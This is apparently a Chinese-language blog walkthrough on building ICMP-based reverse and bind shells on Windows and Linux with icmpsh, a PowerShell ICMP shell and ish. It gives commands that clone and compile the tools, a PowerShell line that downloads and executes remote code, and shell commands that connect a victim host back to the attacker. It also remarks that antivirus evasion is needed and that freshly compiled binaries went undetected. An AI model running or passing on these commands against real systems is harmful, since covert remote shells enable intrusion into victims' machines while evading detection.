ICMP-Shell
Windows和Linux下建立基于ICMP下的reverse shell方法。
0x01 准备工作
先下载项目
1 | git clone https://github.com/inquisb/icmpsh.git /opt/icmp_reverse_shell |
Kali预装了python2
和python3
,但是却不预装pip
。。加上pip2已经被移除官方源,所以只能通过get-pip.py
来安装。
python2-pip&pip2-impacket安装
1 | wget https://bootstrap.pypa.io/pip/2.6/get-pip.py |
这样就算是监听起来了。
这里输入的ip,是要公网地址,或者是内网地址。所以受害者必须要有一个公网ip地址,能让icmp包直达,或者是你在内网里,用跳板机起的监听。
0x02 实验
Windows
但是,不成功在Windows10
下使用脚本给出的
1 | icmpsh.exe -t 192.168.179.128 -d 500 -v 30 -s 128 |
并没有像文章剑走偏锋:细数Shell那些事作者xia0k
那样直接返回一个shell
。Win10
下运行什么反应都没。。(待后续继续尝试)
换windows server 2012
。好家伙,有反应了。
因为是走icmp,所以在windows下使用netstat -ant
命令是看不到有外连ip的。只能从进程中看到
这程序也是会报毒的,所以要自己做下免杀才行。但实际上对源码不做改动,刚编译出来拿去跑virustotal.com国内大部分杀毒都没识别到呢
1 | # Linux编译 |
powershell reverse icmp shell
Windows
下也可以去用powershell滴。
1 | IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com |
Linux
在Google
找到以下文章,可能是icmp-shell
的Linux版 : ping-pwn — Writing an ICMP Shell for Linux using ICMP tunnels & Scapy
但是呢,即使是在root用户下运行也提示。。
经过Google,我发现[https://github.com/bgylde/PingForAndroid/issues/1]这里给出了一个解决方案
Have a try for socket(AF_INET, SOCK_RAW, IPPROTO_ICMP). You need to assemble the ICMP package yourself.
改动了一下代码后,脚本确实能起来了。但是执行的结果是啥我也不知道。。看上去是没有正确的将执行结果发回来
ish
相比上面那两个脚本,ish更为简单易用,,不过要注意的是这个ish
是bind shell
。并不是reverse shell
。
安装并编译
1 | wget http://nchc.dl.sourceforge.net/project/icmpshell/ish/v0.2/ish-v0.2.tar.gz |
被控端执行 ishd
1 | ./ishd -i 65535 -t 0 -p 1024 |
控制端执行
1 | sudo ./ish -i 65535 -t 0 -p 1024 192.168.179.128 |
这里的sessions id
要对应,即-i
参数控制端和被控制端要一致。
更坑的是,ishd
不管你执行成不成功都不会有任何回显信息,只能通过ps
来查看进程到底有没有在运行,即使运行了也可能会有种种原因,导致控制的无法连接。。
0x03 总结
现阶段,就Windows的ICMP Reverse Shell 来说成熟。Linux的就。。。